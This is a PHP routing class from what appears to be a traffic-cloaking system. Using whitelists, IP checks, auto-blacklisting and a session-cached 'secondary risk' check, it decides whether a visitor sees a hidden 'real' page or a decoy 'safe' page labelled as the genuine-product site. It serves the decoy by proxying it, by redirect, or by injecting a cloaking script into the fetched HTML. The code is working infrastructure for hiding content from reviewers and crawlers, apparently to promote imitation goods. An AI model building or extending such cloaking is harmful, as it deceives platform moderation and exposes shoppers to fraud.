<?php
require_once __DIR__ . '/../WhitelistGate.php';
require_once __DIR__ . '/../Page/FpPageRenderer.php';
require_once __DIR__ . '/../Page/RiskPageRenderer.php';
require_once __DIR__ . '/../FpUrlHelper.php';
require_once __DIR__ . '/../RiskSecondaryGate.php';
require_once __DIR__ . '/../RiskSecondaryCache.php';
require_once __DIR__ . '/../RiskSecondarySession.php';
require_once __DIR__ . '/../ClientIpResolver.php';

/**
 * 判定完成后的路由输出（真实页 / 安全页 / 二次风控）
 */
class RouteResolver
{
    /**
     * @param array $ctx 需含 v_info, logs, config_name, reason, model
     */
    public static function dispatch(array $ctx)
    {
        extract($ctx, EXTR_SKIP);

        // 白名单优先于正品模式：跳过二次风控等，直达真实页
        if (!empty($_SESSION['cloak_whitelist_fast'])) {
            self::renderWhitelistFp($logs, $config_name ?? '');
            return;
        }

        // 正品模式：始终走安全页逻辑
        if (SHOW_SITE_MODE_SWITCH == 'zp') {
            self::renderSafePage($logs, $v_info);
            return;
        }

        $showFp = (SHOW_SITE_MODE_SWITCH == 'ip_check' && $_SESSION['check_result'] != 'false')
            || SHOW_SITE_MODE_SWITCH == 'fp';

        if ($showFp) {
            self::renderFpOrRisk($logs, $v_info, $config_name ?? '');
            return;
        }

        self::renderSafePage($logs, $v_info);
    }

    /**
     * 白名单快速路径：写日志并输出真实页，不触发二次风控 / API
     *
     * @param array  $logs
     * @param string $config_name
     */
    private static function renderWhitelistFp(array $logs, $config_name = '')
    {
        $logs['result'] = 'true';
        $logs['reason'] = '';
        self::renderFpPage($logs, $config_name);
    }

    /**
     * @param array $logs
     */
    private static function renderSafePage(array $logs, $v_info)
    {
        if (SHOW_SITE_MODE_SWITCH == 'zp') {
            $logs['result'] = 'false';
            $logs['reason'] = '正品模式';
        }

        $zp_url         = DB_ZP;
        $logs['fp_url'] = $zp_url;
        write_log_db($logs);

        if (empty($zp_url)) {
            return;
        }

        $redirect_method = CLOAK_REDIRECT_METHOD;
        if ($redirect_method == 'curl') {
            $html  = file_get_content_sstr($zp_url);
            $_html = caiji_lujing_buquan($html, $zp_url, $_SERVER['HTTP_HOST']);
            echo $_html;
            exit;
        }
        if ($redirect_method == '302') {
            header('Location: ' . $zp_url);
            exit;
        }
        if ($redirect_method == 'js') {
            self::echoJsRedirect($zp_url);
        }
    }

    private static function renderFpOrRisk(array $logs, $v_info, $config_name = '')
    {
        if (AUTO_BLACK == 'ON') {
            $times = howmanytimesbyip($v_info->v_ip);
            if ($times + 1 >= AUTO_BLACK_TIMES) {
                write_black_list($v_info->v_ip);
            }
        }
        if (!isset($_SESSION['visit_to_3'])) {
            $_SESSION['visit_to_3'] = '1';
        }

        if (RiskSecondaryGate::isEnabledForRequest()) {
            $cached = RiskSecondaryCache::get(ClientIpResolver::resolve());
            if ($cached !== null) {
                self::renderFromRiskCache($logs, $v_info, $cached, $config_name);
                return;
            }
        }

        if (($_SESSION['visit_to_3'] ?? '1') != '3'
            && RiskSecondaryGate::isEnabledForRequest()) {
            // 二次风控：先写 wait 状态，f_check 完成后再更新 result / fp_url（避免 true+空跳转）
            $logs['result']  = 'wait';
            $logs['reason']  = '二次风控检测中';
            $logs['fp_url']  = '';
            $log_id = write_log_db($logs);
            RiskSecondarySession::markWaitLog($log_id);
            $riskCtx = [
                'logs'        => $logs,
                'v_info'      => $v_info,
                'log_id'      => $log_id,
                'config_name' => $config_name,
            ];
            if (CLOAK_REDIRECT_METHOD == 'curl') {
                self::renderRiskCurlInject($riskCtx);
                return;
            }
            RiskPageRenderer::render($riskCtx);
            return;
        }

        $logs['result'] = 'true';
        $logs['reason'] = '';
        self::renderFpPage($logs, $config_name);
    }

    /**
     * @param array  $logs
     * @param string $config_name
     */
    private static function renderFpPage(array $logs, $config_name = '')
    {
        FpPageRenderer::render([
            'logs'        => $logs,
            'config_name' => $config_name,
            'skip_log'    => RiskSecondarySession::shouldSkipFpPageLog(),
        ]);
    }

    /**
     * 二次风控 Session 缓存命中：跳过 cloakjs / byApiRisk。
     *
     * @param array  $logs
     * @param array  $cached
     * @param string $config_name
     */
    private static function renderFromRiskCache(array $logs, $v_info, array $cached, $config_name = '')
    {
        RiskSecondaryCache::applyToSession($cached);
        $apiResponse = RiskSecondaryCache::toApiResponse($cached);

        $logs['result'] = $apiResponse['result'] ? 'true' : 'false';
        $logs['reason'] = cloak_cache_hit_log_reason($logs['result']);
        $logs['fp_url'] = trim((string) ($apiResponse['link'] ?? ''));
        if ($logs['fp_url'] === '') {
            $logs['fp_url'] = $logs['result'] === 'true'
                ? FpUrlHelper::fallbackUrl()
                : (defined('DB_ZP') ? (string) DB_ZP : '');
        }

        if ($logs['result'] === 'false') {
            self::renderSafePage($logs, $v_info);
            return;
        }

        self::renderFpPage($logs, $config_name);
    }

    /**
     * @param array $ctx 需含 v_info, log_id
     */
    private static function renderRiskCurlInject(array $ctx)
    {
        extract($ctx, EXTR_SKIP);
        $zp_url = DB_ZP;
        $html   = file_get_content_sstr($zp_url);
        $_html  = caiji_lujing_buquan($html, $zp_url, $_SERVER['HTTP_HOST']);
        ob_start();
        require dirname(__DIR__, 3) . '/cloakjs.php';
        $js_to_inject = ob_get_clean();
        if (hasHeadTag($_html)) {
            $new_html = preg_replace('/(<head[^>]*>)/i', "$1\n" . $js_to_inject, $_html);
        } else {
            $new_html = $js_to_inject . $_html;
        }
        echo $new_html;
        exit;
    }

    private static function echoJsRedirect($zp_url)
    {
        $zp_url_js = htmlspecialchars($zp_url, ENT_QUOTES, 'UTF-8');
        echo '<SCRIPT LANGUAGE="JavaScript">'
            . 'var time = 1;var timelong = 0;'
            . 'function diplaytime(){document.all.his.innerHTML = time -timelong ;timelong ++;}'
            . 'function redirect(){window.location.href="' . $zp_url_js . '";}'
            . "timer=setInterval('diplaytime()', 30);"
            . "timer=setTimeout('redirect()',time * 30);"
            . '</SCRIPT>';
    }
}
